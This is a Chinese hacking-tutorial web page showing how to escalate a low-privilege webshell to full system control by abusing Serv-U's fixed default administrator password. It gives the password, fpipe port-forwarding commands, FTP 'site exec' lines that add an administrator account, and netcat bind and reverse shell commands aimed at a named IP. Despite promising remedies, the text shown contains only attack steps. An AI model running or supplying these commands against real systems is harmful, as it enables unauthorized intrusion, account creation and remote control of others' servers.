利用Serv-U自身缺陷提升 Webshell权限
发布时间：2011-06-26 04:33:07作者：知识屋
笔者再次要详细说的是Webshell+Serv-U获取系统最高权限的方法及补救方法。
原理
Serv-U默认监听127.0.0.1:43958，在本机才能连接这个管理端 口，Serv-U默认管理账号是LocalAdministrator，默认密码是"#l@$ak#.lk;0@P"，这个密码是固定的。在目标机器上运 行fpipe -v -l 12345 -r 43958 127.0.0.1，然后在你自己的机器，用"Serv-U administrator"新建SERVER：
目标IP：12345 User：LocalAdministrator Pass："#l@$ak#.lk;0@P"
那么目标机器的Serv-U就归你管了。
利用的前提：要有目标机器的普通权限的SHELL，不需要能终端或物理控制台登录，只要有个shell，能运行端口数据转发的程序就可以了。
如何得到一个shell:sql注射得到Webshell或者直接利用动网7.0 sp2以下的上传漏洞上传Webshell。
具体实施方法
1.利用得到的Webshell上传转向程序fpipe，然后执行fpipe -v -l 12345 -r 43958 127.0.0.1。
2 .在你自己的机器，用"Serv-U administrator"新建SERVER，依次填入：
IP：目标IP 端口 ：12345 User：LocalAdministrator Pass："#l@$ak#.lk;0@P"
现在你就可以管理这台服务器的Serv-U了，新建一个账号，权限为系统管理员(system administrator)，并在"目录访问(Dir access)"选项中给予"执行"权限(execute).
3. ftp连接，然后执行quote site exec net user iisuser password /add 添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add，现在就可以连接终端并登录了。
当然也可以进行别的操作，例如上传一个nc.exe，在目标机器上得到一个管理员权限的shell，可以正向连接，也可以反向连接。
正向连接：连上ftp以后执行
quote site exec nc.exe -l -p 23 -t -e cmd.exe
这时目标主机就成了一台telnet服务器，你可以telnet上目标服务器的23端口。
反向连接：假设你的IP是202.96.209.168。
1.先在自己的机器上运行(你要有一个外部IP)：nc -vv -lp 99
2.在目标机器上运行 nc -e cmd.exe 202.96.209.168 99
在你的机器上就会得到一个目标机器的具有管理员权限的shell。
如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接，如果限制的话就要换别的方法呢)，可以用TCP SOCKET转发来实现。
相关知识
软件推荐
更多 >
-
1
教你把书上的字快速弄到电脑上2011-07-02
-
2
黑客基础教程之如何查看论坛隐藏贴（怎么查看论坛隐藏贴）
-
3
一个黑客所需的基本技能
-
4
黑客基础教程之如何查看电脑配置（怎么查看自己的电脑配置）
-
5
怎么取消开机密码
-
6
什么是肉鸡，如何避免电脑成为肉鸡？
-
7
一名初级黑客所必须掌握的基本技能
-
8
电脑常见安全隐患，你知道吗？
-
9
黑客基础教程之黑客入侵渗透教程
-
10
【注意】QQ密码本地破解的原理和方法
